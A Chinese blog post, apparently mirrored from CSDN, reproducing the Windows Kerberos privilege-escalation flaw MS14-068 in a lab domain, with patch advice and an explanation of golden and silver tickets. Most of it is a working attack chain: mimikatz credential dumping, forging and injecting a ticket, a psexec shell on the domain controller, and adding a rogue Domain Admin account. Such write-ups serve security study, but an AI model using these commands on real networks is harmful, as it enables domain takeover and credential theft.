码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • MS14-068漏洞复现


    漏洞概述:

    该漏洞允许黑客提升任意普通用户权限成为域管理员(Domain Admin)身份。也就是说,你在一台普通域用户的机器上利用这个漏洞,那么这个域用户就变成域管理员权限,然后该域用户就可以控制整个域的所有机器了。

    影响版本:

    全部版本Windows服务器

    漏洞利用前提

    1. 域控没有打MS14-068的补丁(KB3011780)

    2. 拿下一台加入域的计算机(拥有一台域用户的权限)

    3. 有这台域内计算机的域用户密码和Sid

    工具下载地址

    Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

    PSexec 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

    mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases

    环境

    域控:win 2008 R2 192.168.1.106 域内主机:win 7 192.168.1.109

    漏洞利用思路

    1. 首先利用ms14-068提权工具生成伪造的kerberos协议认证证书(黄金票据)

    2. 利用mimikatz.exe将证书写入,从而提升为域管理员

    3. 测试是否能访问域控C盘目录,能访问则说明提升为域管理员

    4. 利用PsExec.exe获取域控shell,添加用户并将其加入域管理员组

    漏洞复现过程

    net config workstation

    通过命令:net config workstation,可知域名和其他信息。

     

    通过命令:nltest /dsgetdc:域名,可知 DC 主机名。

     

    如果不是只是本地用户可以用mimikatz 抓取本地的域用户密码

    记住mimikatz要有管理员权限不然无法抓取内存密码,可以以管理员权限运行。

    输入privilege::debug 权限提升,在输入log 会在当前文件夹下生成后面命令执行的结果方便我们查找数据,最后输入sekurlsa::logonPasswords 抓取密码

    这里利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号CVE-2014-6324, 补丁为 3011780 : systeminfo |find "3011780",如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。。

    whoami /all 查看用户sid。

     

    访问 08server-ad 失败 提示拒绝访问

     

    使用 MS14-068 伪造票据: 执行命令:

    ms14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-273474972-1103 -d 08server-dc.moonsec.fbi

    会在当前目录下生成一个凭证。

    使用方法:

    ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址

     

    使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:

    mimikatz # kerberos::purge //清空票据

    mimikatz # kerberos::ptc 票据文件地址

     

    再输入 dir \08server-dc.moonsec.fbi\c$,发现访问成功,现在我们有域管的权限:

     

    利用psexec获取域控权限

    psexec.exe \08server-dc.moonsec.fbi cmd

     

    添加域管账号密码

    net user yesir123 QWE123... /add /domain 
    net group "Domain Admins" yesir /add /domain

     

    防范建议

    针对 Kerberos 域用户提权漏洞: 开启 Windows update 功能,进行自动更新

    手动下载补丁包进行修复:Microsoft Security Bulletin MS14-068 - Critical | Microsoft Learn

    对域内账号进行控制,禁止使用弱口令、定期修改密码 在服务器上安装杀毒软件,及时更新病毒库

    原理

    Kerberos流程

    PAC原理

    黄金票据

    (身份认证票据) 黄金票据是伪造票据授予票据(TGT),也被称为认证票据。如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。Kerberos黄金票据是有效的TGT Kerberos票据,因为它是由域Kerberos帐户(KRBTGT)加密和签名的。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。

    白银票据

    (服务授予票据)

    白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。如下图所示,与域控制器没有AS-REQ 和 AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。

    参考链接

    MS14-068漏洞复现_匿名靓仔的博客-CSDN博客

    MS14-068(CVE-2014-6324)域控提权利用及原理解析 - 紅人 - 博客园

    Kerberos的黄金票据详解 - 渗透测试中心 - 博客园

    Kerberos的白银票据详解 - 渗透测试中心 - 博客园

     

    明月装饰了你的窗子,你装饰了别人的梦

  • 相关阅读:
    flink中使用异步函数的几个注意事项
    《代码大全2》第1章 欢迎进入软件构建的世界
    C语言-结构体-015
    WPF中依赖属性及附加属性的概念及用法
    Tomcat中间件打印请求日志
    计算机总线详解(数据总线、地址总线、控制总线)
    华为云创新中心&黑湖科技:将智能制造进行到底
    Java时间处理---Java8中时区相关类库介绍
    自动化测试岗花20K招人,到最后居然没一个合适的,招两个应届生都比他们强吧
    javascript开发五指棋和围棋
  • 原文地址:https://blog.csdn.net/qq_56426046/article/details/127812573
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号